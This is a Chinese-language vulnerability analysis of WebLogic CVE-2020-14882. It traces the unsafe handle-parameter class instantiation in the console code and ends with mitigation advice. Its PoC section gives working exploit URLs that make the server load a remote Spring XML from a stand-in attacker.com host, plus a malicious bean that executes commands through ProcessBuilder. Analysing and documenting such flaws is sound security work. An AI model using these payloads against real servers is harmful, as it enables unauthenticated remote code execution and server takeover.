Weblogic 10.3.6.0版本 Console HTTP 协议远程代码执行漏洞(CVE-2020-14882)分析以及poc构造
字数 1660 2025-08-20 18:18:24
WebLogic 10.3.6.0 Console HTTP协议远程代码执行漏洞(CVE-2020-14882)深度分析与利用
漏洞概述
CVE-2020-14882是Oracle WebLogic Server Console中的一个高危远程代码执行漏洞,与CVE-2020-14883权限绕过漏洞配合使用时,攻击者可以在未经身份验证的情况下执行任意代码并接管WebLogic Server Console。
受影响版本:
- Oracle WebLogic Server 10.3.6.0.0
- 12.1.3.0.0
- 12.2.1.3.0
- 12.2.1.4.0
- 14.1.1.0.0
漏洞分析
漏洞入口点
漏洞的触发点位于com/bea/console/handles/HandleFactory.class中的getHandle方法。
漏洞触发流程
-
请求处理流程:
- 访问后台地址:
http://localhost:7001/console/console.portal?_nfpb=true&_pageLabel=HomePage1 - 请求会执行到
com/bea/console/utils/BreadcrumbBacking.class的init方法
- 访问后台地址:
-
关键代码分析:
public void init(HttpServletRequest req, HttpServletResponse res) { if (req.getParameter(NO_BC) == null) { String handleStr = this.findFirstHandle(req); if (this.handle == null && handleStr != null && !handleStr.equals("")) { try { this.handle = HandleFactory.getHandle(handleStr); String name = this.handle.getDisplayName(); req.getSession().setAttribute(BREADCRUMB_CONTEXT_VALUE, name); } catch (Exception var6) { } } this.dispatchedValue = (BCValue)req.getSession().getAttribute(DISPATCHED_BREADCRUMB); } } -
handle参数获取:
findFirstHandle方法会遍历请求参数,寻找名为"handle"的参数- 当找到"handle"参数时,返回其值
-
漏洞核心方法
getHandle:public static Handle getHandle(String serializedObjectID) { if (StringUtils.isEmptyString(serializedObjectID)) { throw new InvalidParameterException("No serialized object string specified"); } else { serializedObjectID = serializedObjectID.replace('+', ' '); String serialized = HttpParsing.unescape(serializedObjectID, "UTF-8"); int open = serialized.indexOf(40); // 查找左括号'('的位置 if (open < 1) { throw new InvalidParameterException("Syntax error parsing serializedObjectID string: " + serialized); } else { String className = serialized.substring(0, open); String objectIdentifier = serialized.substring(open + 2, serialized.length() - 2); try { Class handleClass = Class.forName(className); Object[] args = new Object[]{objectIdentifier}; Constructor handleConstructor = handleClass.getConstructor(String.class); return (Handle)handleConstructor.newInstance(args); } catch (ClassNotFoundException var8) { throw new InvalidParameterException("No handle class found for type: " + className); } catch (Exception var9) { throw new InvalidParameterException("Unable to instanciate handle type: " + className, var9); } } } }
漏洞原理
getHandle方法会:
- 解析传入的字符串,提取类名和构造参数
- 动态加载指定的类
- 调用该类的带String参数的构造方法
- 实例化对象并返回
攻击者可以构造特殊的handle参数值,指定任意类名和构造参数,WebLogic会尝试实例化该类,从而导致代码执行。
漏洞利用
利用条件
- 需要有后台管理员权限(通常需要配合CVE-2020-14883权限绕过漏洞)
- 需要找到合适的类,该类:
- 具有带String参数的构造方法
- 构造方法中存在可利用的点
利用链
在WebLogic中,可以利用以下类进行攻击:
-
FileSystemXmlApplicationContext:
- 类名:
com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext - 原理:通过加载外部XML文件实现远程代码执行
- 类名:
-
ClassPathXmlApplicationContext:
- 类名:
com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext - 原理:与FileSystemXmlApplicationContext类似,都是继承自AbstractXmlApplicationContext
- 类名:
POC构造
-
基本POC结构:
http://target:7001/console/console.portal?_nfpb=true&_pageLabel=HomePage1&handle=恶意类名("构造参数") -
使用FileSystemXmlApplicationContext的POC:
http://target:7001/console/console.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://attacker.com/malicious.xml")其中malicious.xml内容示例:
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder"> <constructor-arg> <list> <value>cmd.exe</value> <value>/c</value> <value>calc.exe</value> </list> </constructor-arg> <property name="whatever" value="#{ pb.start() }"/> </bean> </beans> -
使用ClassPathXmlApplicationContext的POC:
http://target:7001/console/console.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://attacker.com/malicious.xml")
防御措施
-
官方补丁:
- 应用Oracle官方发布的关键补丁更新(CPU)
-
临时缓解措施:
- 限制对WebLogic Console的访问
- 使用网络防火墙规则限制访问源
-
其他措施:
- 监控可疑的HTTP请求,特别是包含特殊handle参数的请求
- 定期更新WebLogic Server到最新版本
总结
CVE-2020-14882是一个严重的远程代码执行漏洞,结合CVE-2020-14883权限绕过漏洞可以形成完整的攻击链。漏洞的核心在于WebLogic Console对handle参数的不安全处理,导致攻击者可以通过构造特殊的类名和参数实现任意代码执行。管理员应及时应用补丁,并采取适当的防护措施。